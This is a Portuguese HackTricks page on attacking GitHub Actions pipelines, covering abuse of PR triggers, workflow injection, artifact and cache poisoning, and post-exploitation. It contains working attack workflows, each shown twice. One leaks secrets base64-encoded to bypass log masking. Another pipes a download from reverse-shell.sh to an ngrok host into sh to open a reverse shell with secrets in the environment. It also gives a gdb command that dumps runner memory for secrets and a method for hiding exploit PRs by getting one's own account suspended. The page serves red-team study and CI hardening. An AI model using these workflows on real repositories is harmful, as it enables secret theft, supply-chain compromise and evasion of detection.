Abusando do Github Actions
Reading time: 20 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Nesta página você encontrará:
- Um resumo de todos os impactos de um atacante conseguindo acessar um Github Action
- Diferentes maneiras de obter acesso a uma ação:
- Ter permissões para criar a ação
- Abusar de gatilhos relacionados a pull request
- Abusar de outras técnicas de acesso externo
- Pivotar a partir de um repositório já comprometido
- Finalmente, uma seção sobre técnicas de pós-exploração para abusar de uma ação de dentro (causando os impactos mencionados)
Resumo dos Impactos
Para uma introdução sobre Github Actions, confira as informações básicas.
Se você pode executar código arbitrário no GitHub Actions dentro de um repositório, você pode ser capaz de:
- Roubar segredos montados no pipeline e abusar dos privilégios do pipeline para obter acesso não autorizado a plataformas externas, como AWS e GCP.
- Comprometer implantações e outros artefatos.
- Se o pipeline implanta ou armazena ativos, você poderia alterar o produto final, possibilitando um ataque à cadeia de suprimentos.
- Executar código em trabalhadores personalizados para abusar do poder computacional e pivotar para outros sistemas.
- Sobrescrever o código do repositório, dependendo das permissões associadas ao
GITHUB_TOKEN
.
GITHUB_TOKEN
Este "segredo" (vindo de ${{ secrets.GITHUB_TOKEN }}
e ${{ github.token }}
) é fornecido quando o administrador habilita esta opção:
.png)
Este token é o mesmo que uma Aplicação do Github usará, então pode acessar os mesmos endpoints: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps
warning
O Github deve lançar um fluxo que permita acesso entre repositórios dentro do GitHub, para que um repositório possa acessar outros repositórios internos usando o GITHUB_TOKEN
.
Você pode ver as possíveis permissões deste token em: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token
Note que o token expira após a conclusão do trabalho.
Esses tokens se parecem com isto: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7
Algumas coisas interessantes que você pode fazer com este token:
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
caution
Note que em várias ocasiões você poderá encontrar tokens de usuário do github dentro das envs do Github Actions ou nos segredos. Esses tokens podem lhe dar mais privilégios sobre o repositório e a organização.
Listar segredos na saída do Github Action
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Obter shell reverso com segredos
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
É possível verificar as permissões concedidas a um Github Token em repositórios de outros usuários verificando os logs das ações:
.png)
Execução Permitida
note
Esta seria a maneira mais fácil de comprometer ações do Github, já que este caso supõe que você tenha acesso para criar um novo repositório na organização, ou tenha privilegios de escrita sobre um repositório.
Se você estiver nesse cenário, pode apenas verificar as técnicas de Pós Exploração.
Execução a partir da Criação de Repositório
Caso membros de uma organização possam criar novos repositórios e você possa executar ações do github, você pode criar um novo repositório e roubar os segredos definidos no nível da organização.
Execução a partir de um Novo Branch
Se você puder criar um novo branch em um repositório que já contém uma Ação do Github configurada, você pode modificá-la, carregar o conteúdo e então executar essa ação a partir do novo branch. Dessa forma, você pode exfiltrar segredos em nível de repositório e organização (mas você precisa saber como eles são chamados).
Você pode tornar a ação modificada executável manualmente, quando um PR é criado ou quando algum código é enviado (dependendo de quão discreto você deseja ser):
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
Execução Forked
note
Existem diferentes gatilhos que poderiam permitir a um atacante executar uma Github Action de outro repositório. Se essas ações acionáveis forem mal configuradas, um atacante poderá comprometer elas.
pull_request
O gatilho de workflow pull_request
executará o workflow toda vez que um pull request for recebido com algumas exceções: por padrão, se for a primeira vez que você está colaborando, algum mantenedor precisará aprovar a execução do workflow:
.png)
note
Como a limitação padrão é para contribuidores de primeira viagem, você poderia contribuir corrigindo um bug/erro válido e então enviar outros PRs para abusar de seus novos privilégios de pull_request
.
Eu testei isso e não funciona: Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e deletou sua conta.
Além disso, por padrão impede permissões de escrita e acesso a segredos no repositório alvo, conforme mencionado na documentação:
Com a exceção de
GITHUB_TOKEN
, segredos não são passados para o runner quando um workflow é acionado de um repositório forked. OGITHUB_TOKEN
tem permissões de leitura em pull requests de repositórios forked.
Um atacante poderia modificar a definição da Github Action para executar coisas arbitrárias e adicionar ações arbitrárias. No entanto, ele não poderá roubar segredos ou sobrescrever o repositório devido às limitações mencionadas.
caution
Sim, se o atacante mudar no PR a github action que será acionada, sua Github Action será a utilizada e não a do repositório de origem!
Como o atacante também controla o código sendo executado, mesmo que não haja segredos ou permissões de escrita no GITHUB_TOKEN
, um atacante poderia, por exemplo, carregar artefatos maliciosos.
pull_request_target
O gatilho de workflow pull_request_target
tem permissão de escrita no repositório alvo e acesso a segredos (e não pede permissão).
Note que o gatilho de workflow pull_request_target
executa no contexto base e não no fornecido pelo PR (para não executar código não confiável). Para mais informações sobre pull_request_target
, verifique a documentação.
Além disso, para mais informações sobre esse uso específico e perigoso, confira este post no blog do github.
Pode parecer que, como o workflow executado é o definido no base e não no PR, é seguro usar pull_request_target
, mas há alguns casos em que não é.
E este terá acesso a segredos.
workflow_run
O gatilho workflow_run permite executar um workflow a partir de outro quando está completo
, solicitado
ou em_andamento
.
Neste exemplo, um workflow é configurado para ser executado após a conclusão do workflow separado "Executar Testes":
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
Além disso, de acordo com a documentação: O fluxo de trabalho iniciado pelo evento workflow_run
é capaz de acessar segredos e escrever tokens, mesmo que o fluxo de trabalho anterior não tenha sido.
Esse tipo de fluxo de trabalho pode ser atacado se depender de um fluxo de trabalho que pode ser ativado por um usuário externo via pull_request
ou pull_request_target
. Alguns exemplos vulneráveis podem ser encontrados neste blog. O primeiro consiste no fluxo de trabalho ativado por workflow_run
baixando o código do atacante: ${{ github.event.pull_request.head.sha }}
O segundo consiste em passar um artefato do código não confiável para o fluxo de trabalho workflow_run
e usar o conteúdo desse artefato de uma maneira que o torne vulnerável a RCE.
workflow_call
TODO
TODO: Verificar se, quando executado a partir de um pull_request, o código usado/baixado é o do origin ou do PR bifurcado
Abusando da Execução Bifurcada
Mencionamos todas as maneiras que um atacante externo poderia conseguir fazer um fluxo de trabalho do github ser executado, agora vamos dar uma olhada em como essas execuções, se mal configuradas, poderiam ser abusadas:
Execução de checkout não confiável
No caso de pull_request
, o fluxo de trabalho será executado no contexto do PR (então executará o código malicioso do PR), mas alguém precisa autorizá-lo primeiro e ele será executado com algumas limitações.
No caso de um fluxo de trabalho usando pull_request_target
ou workflow_run
que depende de um fluxo de trabalho que pode ser ativado a partir de pull_request_target
ou pull_request
, o código do repositório original será executado, então o atacante não pode controlar o código executado.
caution
No entanto, se a ação tiver um checkout de PR explícito que irá obter o código do PR (e não da base), ele usará o código controlado pelo atacante. Por exemplo (ver linha 12 onde o código do PR é baixado):
# INSECURE. Fornecido apenas como um exemplo.
on:
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
O código potencialmente não confiável está sendo executado durante npm install
ou npm build
já que os scripts de build e os pacotes referenciados são controlados pelo autor do PR.
warning
Um dork do github para procurar ações vulneráveis é: event.pull_request pull_request_target extension:yml
, no entanto, existem diferentes maneiras de configurar os jobs para serem executados de forma segura, mesmo que a ação esteja configurada de forma insegura (como usar condicionais sobre quem é o ator gerando o PR).
Injeções de Script de Contexto
Observe que existem certos contextos do github cujos valores são controlados pelo usuário que cria o PR. Se a ação do github estiver usando esses dados para executar qualquer coisa, isso pode levar à execução de código arbitrário:
Gh Actions - Context Script Injections
Injeção de Script GITHUB_ENV
De acordo com a documentação: Você pode tornar uma variável de ambiente disponível para quaisquer etapas subsequentes em um job de fluxo de trabalho definindo ou atualizando a variável de ambiente e escrevendo isso no arquivo de ambiente GITHUB_ENV
.
Se um atacante puder injetar qualquer valor dentro dessa variável env, ele poderá injetar variáveis de ambiente que poderiam executar código nas etapas seguintes, como LD_PRELOAD ou NODE_OPTIONS.
Por exemplo (isso e isso), imagine um fluxo de trabalho que confia em um artefato carregado para armazenar seu conteúdo dentro da variável de ambiente GITHUB_ENV
. Um atacante poderia carregar algo assim para comprometê-lo:
.png)
Ações do Github de Terceiros Vulneráveis
dawidd6/action-download-artifact
Como mencionado em este post do blog, esta Ação do Github permite acessar artefatos de diferentes fluxos de trabalho e até mesmo repositórios.
O problema é que se o parâmetro path
não estiver definido, o artefato é extraído no diretório atual e pode sobrescrever arquivos que poderiam ser usados ou até mesmo executados no fluxo de trabalho. Portanto, se o Artefato for vulnerável, um atacante poderia abusar disso para comprometer outros fluxos de trabalho que confiam no Artefato.
Exemplo de fluxo de trabalho vulnerável:
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
Isso pode ser atacado com este fluxo de trabalho:
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
Outro Acesso Externo
Sequestro de Repositório de Namespace Deletado
Se uma conta mudar seu nome, outro usuário pode registrar uma conta com esse nome após algum tempo. Se um repositório tinha menos de 100 estrelas antes da mudança de nome, o Github permitirá que o novo usuário registrado com o mesmo nome crie um repositório com o mesmo nome do que foi deletado.
caution
Portanto, se uma ação estiver usando um repositório de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a ação.
Se outros repositórios estavam usando dependências desses repositórios de usuário, um atacante poderá sequestrá-los. Aqui você tem uma explicação mais completa: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/
Pivotagem de Repositório
note
Nesta seção, falaremos sobre técnicas que permitiriam pivotar de um repositório para outro, supondo que temos algum tipo de acesso ao primeiro (verifique a seção anterior).
Envenenamento de Cache
Um cache é mantido entre execuções de workflow na mesma branch. O que significa que, se um atacante comprometer um pacote que é então armazenado no cache e baixado e executado por um workflow mais privilegiado, ele poderá também comprometer esse workflow.
Envenenamento de Artefato
Workflows podem usar artefatos de outros workflows e até repositórios, se um atacante conseguir comprometer a Github Action que faz o upload de um artefato que é posteriormente usado por outro workflow, ele poderá comprometer os outros workflows:
Gh Actions - Artifact Poisoning
Pós Exploração de uma Ação
Acessando AWS e GCP via OIDC
Verifique as seguintes páginas:
Acessando segredos
Se você estiver injetando conteúdo em um script, é interessante saber como você pode acessar segredos:
- Se o segredo ou token estiver definido como uma variável de ambiente, pode ser acessado diretamente através do ambiente usando
printenv
.
Listar segredos na saída da Github Action
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Obter shell reverso com segredos
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
- Se o segredo for usado diretamente em uma expressão, o script shell gerado é armazenado em disco e é acessível.
-
cat /home/runner/work/_temp/*
- Para ações JavaScript, os segredos são enviados através de variáveis de ambiente.
- ```bash
ps axe | grep node
- Para uma ação personalizada, o risco pode variar dependendo de como um programa está usando o segredo que obteve do argumento:
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
Abusando de runners auto-hospedados
A maneira de descobrir quais Github Actions estão sendo executadas em infraestrutura não-Github é procurar por runs-on: self-hosted
na configuração yaml da Github Action.
Runners auto-hospedados podem ter acesso a informações extra sensíveis, a outros sistemas de rede (pontos vulneráveis na rede? serviço de metadados?) ou, mesmo que esteja isolado e destruído, mais de uma ação pode ser executada ao mesmo tempo e a maliciosa poderia roubar os segredos da outra.
Em runners auto-hospedados, também é possível obter os segredos do processo _Runner.Listener_** que conterá todos os segredos dos fluxos de trabalho em qualquer etapa, despejando sua memória:
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
Verifique este post para mais informações.
Registro de Imagens Docker do Github
É possível criar ações do Github que construirão e armazenarão uma imagem Docker dentro do Github.
Um exemplo pode ser encontrado no seguinte expansível:
Github Action Build & Push Docker Image
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
Como você pode ver no código anterior, o registro do Github está hospedado em ghcr.io
.
Um usuário com permissões de leitura sobre o repositório poderá então baixar a imagem Docker usando um token de acesso pessoal:
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
Então, o usuário poderia procurar por segredos vazados nas camadas da imagem Docker:
Informações sensíveis nos logs do Github Actions
Mesmo que o Github tente detectar valores secretos nos logs das ações e evitar mostrá-los, outros dados sensíveis que podem ter sido gerados na execução da ação não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado, a menos que seja especificamente configurado.
Cobertura de suas Pegadas
(Técnica de aqui) Primeiro de tudo, qualquer PR levantada é claramente visível ao público no Github e à conta alvo do GitHub. No GitHub, por padrão, não podemos deletar um PR da internet, mas há uma reviravolta. Para contas do Github que estão suspensas pelo Github, todos os seus PRs são automaticamente deletados e removidos da internet. Portanto, para ocultar sua atividade, você precisa ou ter sua conta do GitHub suspensa ou ter sua conta sinalizada. Isso ocultaria todas as suas atividades no GitHub da internet (basicamente remover todos os seus PRs de exploração)
Uma organização no GitHub é muito proativa em relatar contas ao GitHub. Tudo o que você precisa fazer é compartilhar “algumas coisas” em uma Issue e eles garantirão que sua conta seja suspensa em 12 horas :p e aí está, fez sua exploração invisível no github.
warning
A única maneira de uma organização descobrir que foi alvo é verificar os logs do GitHub a partir do SIEM, pois na interface do GitHub o PR seria removido.
Ferramentas
As seguintes ferramentas são úteis para encontrar fluxos de trabalho do Github Action e até mesmo encontrar os vulneráveis:
- https://github.com/CycodeLabs/raven
- https://github.com/praetorian-inc/gato
- https://github.com/AdnaneKhan/Gato-X
- https://github.com/carlospolop/PurplePanda
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.